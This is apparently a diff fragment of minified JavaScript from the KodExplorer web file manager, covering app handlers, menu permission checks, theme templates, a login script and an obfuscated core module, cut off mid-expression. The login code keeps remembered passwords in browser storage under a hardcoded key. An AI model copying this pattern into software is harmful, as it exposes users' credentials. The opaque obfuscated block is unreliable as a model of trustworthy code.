exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
          ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
          '+LNG.unknow_file_tips+"
          "+t+'
          2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+r+o+'">'+LNG.unknow_file_download+'
          '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html"],function(a,b,c){a("lib/jquery-lib"),a("lib/util"),a("lib/artDialog/jquery-artDialog"),core=a("../../common/core"),$(document).ready(function(){$.isIE()&&$(".aero").removeClass("aero"),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),$(".loginbox [disabled]").removeAttr("disabled"),core.init(),LocalData.del("thisPath");var a=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},b=function(){var b=G.appHost+"user/checkCode&t="+UUID();$(".check-code img").attr("src",b),$(".check-code").val("").focus(),a()};$("#username,#password").on("click",function(){$(window).scrollTop(200),setTimeout(function(){$(window).scrollTop(200)},500)});var c="&^jofl039e8jfv0239",d={set:function(a,b){LocalData.set("kodLoginName",authCrypt.encode(a,c)),LocalData.set("kodLoginPass",authCrypt.encode(b,c))},clear:function(){LocalData.del("kodLoginName"),LocalData.del("kodLoginPass")},get:function(){var a=LocalData.get("kodLoginName"),b=LocalData.get("kodLoginPass");if(!a||!b)return!1;var a=authCrypt.decode(a,c),b=authCrypt.decode(b,c);return a&&b?{name:a,pass:b}:!1}},e=function(a){var c=$("#username").val(),e=$("#password").val(),f=$("input[name=rememberPassword]").prop("checked")?1:0,g=G.appHost+"user/loginSubmit&name="+urlEncode(c),h=roundString(5),i=h+authCrypt.encode(e,h+"2&$%@(*@(djfhj1923");return g+="&salt=1",g+="&checkCode="+$("input.check-code").val(),g+="&password="+urlEncode(i),g+="&rememberPassword="+f+"&isAjax=1",$.ajax({dataType:"json",url:g,error:function(a,b,c){setTimeout(function(){core.ajaxError(a,b,c)},600)},success:function(a){if("ok"!=a.data&&($(".msg").show().html(a.data),Tips.tips(a.data,!1)),a.code){f?d.set(c,e):d.clear();var g=G.appRoot;void 0!=$.getUrlParam("link")&&(g=urlDecode($.getUrlParam("link"))),a.info&&(g=a.info),window.location.href=g}else d.clear(),isWap()||$(".loginbox").shake(2,30,60),b(),$("#username").focus()}}),stopPP(a),!1};isWap()||a();var f=d.get();f&&($("input[name=rememberPassword]").prop("checked",1),$("input[name=name]").val(" ").val(f.name),$("input[name=password]").val(" ").val(f.pass)),$(".check-code img").bind("click",b),$("form").submit(e),$("#username,#password,input.check-code").keyEnter(e),$(".forget-password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)});var g=$(".admin-password input"),h=$(".admin-password-repeat input");g.keyEnter(function(){$(".start").click()}),h.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var a=trim(g.val());a!=h.val()?Tips.tips(LNG.login_root_password_equal,!1):""==a?(Tips.tips(LNG.login_root_password_tips,!1),g.focus()):window.location.href=G.appHost+"user/loginFirst&password="+urlEncode(a)}),$(".LICENSE_SUBMIT").bind("click",function(){var a=g.val();""==a?(Tips.tips(LNG.not_null,!1),g.focus()):window.location.href=G.appHost+"user/versionInstall&license_code="+a})})});;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof 